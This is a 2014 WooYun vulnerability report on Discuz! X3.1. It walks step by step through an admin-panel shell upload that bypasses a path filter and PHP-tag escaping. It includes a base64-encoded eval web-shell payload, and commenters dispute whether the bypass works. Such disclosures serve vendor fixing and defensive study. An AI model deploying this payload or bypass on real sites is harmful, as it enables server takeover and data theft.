当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-053199

漏洞标题:Discuz! X3.1 Release 20140301后台拿shell真的修复了吗

相关厂商:Discuz!

漏洞作者: 江南的鱼

提交时间:2014-03-09 15:25

修复时间:2014-06-07 15:25

公开时间:2014-06-07 15:25

漏洞类型:设计缺陷/逻辑错误

危害等级:低

自评Rank:3

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-03-09: 细节已通知厂商并且等待厂商处理中
2014-03-10: 厂商已经确认,细节仅向厂商公开
2014-03-13: 细节向第三方安全合作伙伴开放
2014-05-04: 细节向核心白帽子及相关领域专家公开
2014-05-14: 细节向普通白帽子公开
2014-05-24: 细节向实习白帽子公开
2014-06-07: 细节向公众公开

简要描述:

之前写的几个后台拿shell,Discuz!忽略了,但新版本Discuz! X3.1 Release 20140301实际上有所加强,但是真的修复了之前提到的问题吗?
Discuz!大概做了下面几个改动:
1.统计代码处,对 <? 中的尖括号做了转意“\&lt;”。
2.首页文件名限制了".",有点时,返回【setting_functions_makehtml_indexname_invalid】,防止解析漏洞拿shell,。
3.专题HTML文件的存放目录做了部分限制,如果“template/default/portal”,会提示【专题HTML文件的存放目录只能包含字母、数字、下划线(_)和\,请确认存放目录的合法性】
看似很完美,难道就真的没办法拿到shell嘛,难道真的修复了之前拿shell的方法,其实不然。

详细说明:

前面先说下,既然"<? ?>"和 "<?php ?>" 的被转意了,那就用 <script language="PhP"></script>,经过测试,尖括号未被转意。
下面来重现过程:
1.先上传一张版本图:

1.jpg


2. 全局->站点信息->网站第三方统计代码, 里面插入我们要执行的php代码,如下:
<script language="PhP">fputs(fopen('t.php',w),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUW2NdKTs/Pg=="));</script>

2.jpg


3.工具 -> 更新缓存, 更新下缓存吧

3.jpg


4.门户 -> HTML管理,来设置专题HTML存放目录 ,这里就是厂家修复的地方,可惜没修复好,如果我们将目录设置成‘template/default/portal’,会返回‘专题HTML文件的存放目录只能包含字母、数字、下划线(_)和\,请确认存放目录的合法性,返回’。看似完美,其实不然。
1)生成HTML ,选 ‘是’;
2)静态文件扩展名,设置成 ‘htm’;
3)专题HTML存放目录,这里需要注意,设置成 ‘\template/default/portal’;【不会设置的,可以直接复制单引号里面的】,点提交。

4.jpg


也许要问为啥“template/default/portal”,而“\template/default/portal”就能保存成功,这因为 ‘\t’ 解析成了水平制表符,从而绕过了对‘template/default/portal’目录的设置限制。换句话说,判断这个目录的函数 得到的路径是‘emplate/default/portal’,在和‘template/default/portal’进行匹配比较,肯定是不相等的,将‘\template/default/portal’再带入路径中去,就得到了保存路径为‘template/default/portal’,所以绕过了目录保存限制。
5. 门户--〉专题管理--〉创建专题:
1)专题标题:xyz // 这个随便你写了
2)静态化名称:portal_topic_222 //222为自定义文件名,自己要记住
3)附加内容:选择上: 站点尾部信息

5创建专题1.jpg


3)提交
4)回到门户--〉专题管理,把刚才创建的专题开启,如下图 :

6.jpg


5)把刚才的专题,生成

7.jpg


6. 下面就是关键了,现在到了包含文件的时候了。
再新建一个专题:
1)专题标题,静态化名称,这2个随便写
2)模板名:这个要选择我们刚才生成的页面:./template/default/portal/portal_topic_222.htm

8.jpg


3)然后提交,就执行了<script language="PhP">fputs(fopen('t.php',w),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUW2NdKTs/Pg=="));</script>

9.jpg


漏洞证明:

9.jpg

修复方案:

忽略吧

版权声明:转载请注明来源 江南的鱼@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-03-10 09:17

厂商回复:

:(
继续修复,感谢您提出的问题。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-03-09 15:25 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    如果这是一个疑问句 我觉得没修复

  2. 2014-03-09 15:54 | 郭斯特 ( 普通白帽子 | Rank:181 漏洞数:69 | GhostWin)

    似很完美,难道就真的没办法拿到shell嘛,难道真的修复了之前拿shell的方法,其实不然。

  3. 2014-03-09 16:44 | j2ck3r ( 普通白帽子 | Rank:406 漏洞数:92 | 别关注我,跟你不熟。)

    忽略的节奏

  4. 2014-03-09 17:35 | BadCat ( 实习白帽子 | Rank:81 漏洞数:21 | 悲剧的我什么都不会)

    @j2ck3r 忽略你毛啊,忽略你屁啊

  5. 2014-03-09 18:10 | j2ck3r ( 普通白帽子 | Rank:406 漏洞数:92 | 别关注我,跟你不熟。)

    @xsser 你不是可以看到内容

  6. 2014-03-09 18:10 | j2ck3r ( 普通白帽子 | Rank:406 漏洞数:92 | 别关注我,跟你不熟。)

    @BadCat 那你看得到吗

  7. 2014-03-09 18:49 | B1acken ( 普通白帽子 | Rank:174 漏洞数:56 | 渣渣)

    @郭斯特

  8. 2014-03-09 19:40 | 野驴~ ( 路人 | Rank:5 漏洞数:2 | 充满强烈好奇心的菜鸟。)

    看似是个疑问句,其实是个肯定句。

  9. 2014-03-09 23:22 | 在路上 ( 普通白帽子 | Rank:193 漏洞数:13 | 在学习的路上、在成长的路上...)

    相当期待了 要是前台 该多好呀

  10. 2014-03-10 20:50 | BadCat ( 实习白帽子 | Rank:81 漏洞数:21 | 悲剧的我什么都不会)

    @j2ck3r 要为厂商着想,你这是白帽子的态度么?

  11. 2014-03-10 23:10 | 帅气凌云 ( 普通白帽子 | Rank:314 漏洞数:60 | 弱点扫描{Www.VulScan.CN} 为网站健康检查...)

    如果这是一个疑问句 我觉得没修复

  12. 2014-03-14 11:16 | j2ck3r ( 普通白帽子 | Rank:406 漏洞数:92 | 别关注我,跟你不熟。)

    @江南的鱼 求漏洞详情

  13. 2014-03-15 09:29 | j2ck3r ( 普通白帽子 | Rank:406 漏洞数:92 | 别关注我,跟你不熟。)

    @帅气凌云 难道真的修复了之前拿shell的方法,其实不然。

  14. 2014-03-23 18:10 | 残雪 ( 实习白帽子 | Rank:34 漏洞数:7 | 屌丝一枚擅长扯淡)

    如果这是一个疑问句 我觉得没修复

  15. 2014-03-30 21:05 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    这个给力哦

  16. 2014-04-01 10:38 | j2ck3r ( 普通白帽子 | Rank:406 漏洞数:92 | 别关注我,跟你不熟。)

    2014-03-30: 细节向普通白帽子公开 看不到

  17. 2014-04-03 22:24 | j2ck3r ( 普通白帽子 | Rank:406 漏洞数:92 | 别关注我,跟你不熟。)

    2014-03-30: 细节向普通白帽子公开 看不到 @xsser

  18. 2014-04-04 21:29 | 坠落。 ( 路人 | Rank:17 漏洞数:2 | -.- 屌丝一枚,菜鸟一个,擅长windows/linux...)

    @j2ck3r 卧槽! 我也想说

  19. 2014-04-09 17:30 | j2ck3r ( 普通白帽子 | Rank:406 漏洞数:92 | 别关注我,跟你不熟。)

    \template/default/portal 还是一样提示不能保存成功 @江南的鱼

  20. 2014-04-09 22:00 | 江南的鱼 ( 普通白帽子 | Rank:137 漏洞数:15 | 天生庸才!)

    @j2ck3r 核对下版本,看看是不是打了官方修复补丁

  21. 2014-04-09 22:40 | win32 ( 实习白帽子 | Rank:36 漏洞数:9 | 溜达)

    @江南的鱼 看不到,能否透露下^_^

  22. 2014-04-10 09:16 | j2ck3r ( 普通白帽子 | Rank:406 漏洞数:92 | 别关注我,跟你不熟。)

    版本是一样 ,我自己搭建环境 @江南的鱼

  23. 2014-04-10 09:17 | j2ck3r ( 普通白帽子 | Rank:406 漏洞数:92 | 别关注我,跟你不熟。)

    可以私信,我把地址发给你,自己搭建的环境 @江南的鱼

  24. 2014-04-15 10:23 | 冷冷的夜 ( 普通白帽子 | Rank:135 漏洞数:12 )

    \template/default/portal 还是一样提示不能保存成功 @江南的鱼

  25. 2014-04-15 10:29 | 冷冷的夜 ( 普通白帽子 | Rank:135 漏洞数:12 )

    @j2ck3r \template/default/portal 还是一样提示不能保存成功后来成功了吗?

  26. 2014-04-15 10:58 | j2ck3r ( 普通白帽子 | Rank:406 漏洞数:92 | 别关注我,跟你不熟。)

    @冷冷的夜 没成功

  27. 2014-04-15 10:59 | j2ck3r ( 普通白帽子 | Rank:406 漏洞数:92 | 别关注我,跟你不熟。)

    @江南的鱼 我本地搭建下的版本跟你一样,保存不成功

  28. 2014-04-20 13:26 | Sunshie ( 实习白帽子 | Rank:58 漏洞数:10 | http://phpinfo.me)

    专题HTML文件的存放目录只能包含字母、数字、下划线(_)和\,请确认存放目录的合法性,返回

  29. 2014-04-21 12:50 | 江南的鱼 ( 普通白帽子 | Rank:137 漏洞数:15 | 天生庸才!)

    DZ可能没有更新版本号就修复了!

  30. 2014-04-21 12:54 | j2ck3r ( 普通白帽子 | Rank:406 漏洞数:92 | 别关注我,跟你不熟。)

    @江南的鱼 Discuz! X3.1 Release 20140301以下版本估计有效。Discuz! X3.1 Release 20140301 这个版本是不行的

  31. 2014-04-21 18:13 | 冷冷的夜 ( 普通白帽子 | Rank:135 漏洞数:12 )

    @江南的鱼 Discuz! X3.1 Release 20140101,经测试,该版本仍然也不行!

  32. 2014-04-21 18:15 | j2ck3r ( 普通白帽子 | Rank:406 漏洞数:92 | 别关注我,跟你不熟。)

    @冷冷的夜 @江南的鱼到底是哪个版本成功的?

  33. 2014-04-21 18:15 | j2ck3r ( 普通白帽子 | Rank:406 漏洞数:92 | 别关注我,跟你不熟。)

    @冷冷的夜 @江南的鱼 到底是哪个版本成功的?

  34. 2014-04-22 08:41 | 冷冷的夜 ( 普通白帽子 | Rank:135 漏洞数:12 )

    @j2ck3r,难不成是PS的图么?

  35. 2014-04-23 17:56 | 江南的鱼 ( 普通白帽子 | Rank:137 漏洞数:15 | 天生庸才!)

    @冷冷的夜 你当dz官方是SB吗,自己不测试吗? 官方有可能是 修复了问,但没更新版本号!

  36. 2014-04-23 18:58 | 冷冷的夜 ( 普通白帽子 | Rank:135 漏洞数:12 )

    @江南的鱼 哇咔咔,终于出来冒泡了!那就再研究研究?

  37. 2014-04-28 21:42 | 冷冷的夜 ( 普通白帽子 | Rank:135 漏洞数:12 )

    @江南的鱼,@j2ck3r 今天下载了Discuz! X3.1 Release 20140301 再次进行了测试,江南的鱼说的方法是对的,但是测试的平台是win8,估计原来测试不成功是L系统的缘故!

  38. 2014-05-19 14:23 | hzh4k ( 路人 | Rank:0 漏洞数:1 | 基情四射)

    楼主,我咋就成功不了。人品嘛?专题HTML文件的存放目录只能包含字母、数字、下划线(_)和\,请确认存放目录的合法性,返回测试了三个站,都是提示这个Discuz! 程序版本 Discuz! X3.1 Release 20140301UCenter 客户端版本 UCenter 1.6.0 Release 20110501

  39. 2014-05-31 16:42 | 江南的鱼 ( 普通白帽子 | Rank:137 漏洞数:15 | 天生庸才!)

    没理由啊,我今天在他们网站下的还存在这个问题,我习惯用UTF8做测试;http://download.comsenz.com/DiscuzX/3.1/Discuz_X3.1_SC_UTF8.zip我是用的 XP系统你们是在哪下载的版本?

  40. 2014-06-07 18:01 | rasca1 ( 实习白帽子 | Rank:53 漏洞数:16 | 菜鸟一只)

    meizi姐?

  41. 2014-06-07 19:19 | Dennx ( 路人 | Rank:0 漏洞数:1 | xxxxx)

    <script language="PhP">原来真的可以这样。。。

  42. 2014-06-07 20:15 | Matt 认证白帽子 ( 普通白帽子 | Rank:523 漏洞数:107 | 承接代码审计 http://codescan.cn/)

    @xsser 擦 为啥DZ 的后台gethshell给2K 不科学~

  43. 2014-06-09 11:36 | isno ( 路人 | Rank:20 漏洞数:3 | test)

    <script language="PhP"></script>

  44. 2014-06-17 19:25 | Jn· ( 路人 | Rank:30 漏洞数:14 | 本小菜很可爱,如果不服你TM来打我啊--哎呀...)

    上传被拦截怎么办

  45. 2014-06-19 21:12 | 0xTback ( 路人 | Rank:0 漏洞数:1 | 初入江湖,请多多关照~!!!)

    经测试,DX31_R20140101都无法成功,为啥楼主的20140301会成功?

  46. 2014-06-20 09:54 | beastk ( 实习白帽子 | Rank:50 漏洞数:11 | 一不小心高潮了)

    为毛我这里没有 生成HTML 这个选项呢?

  47. 2014-06-21 21:48 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    meizi.com……

  48. 2014-10-12 20:37 | cuger ( 普通白帽子 | Rank:200 漏洞数:44 | 这个家伙很懒,什么也没留下)

    20140301貌似Linux下不行。。。。

  49. 2014-10-13 16:34 | ki11y0u ( 普通白帽子 | Rank:104 漏洞数:23 | 好好学习,求带飞~~~~~~~~~~~~~~~~~~~~~~...)

    @江南的鱼 20140301下utf8和gbk 都是>>>专题HTML文件的存放目录只能包含字母、数字、下划线(_)和\,请确认存放目录的合法性,返回<<<怎么回事?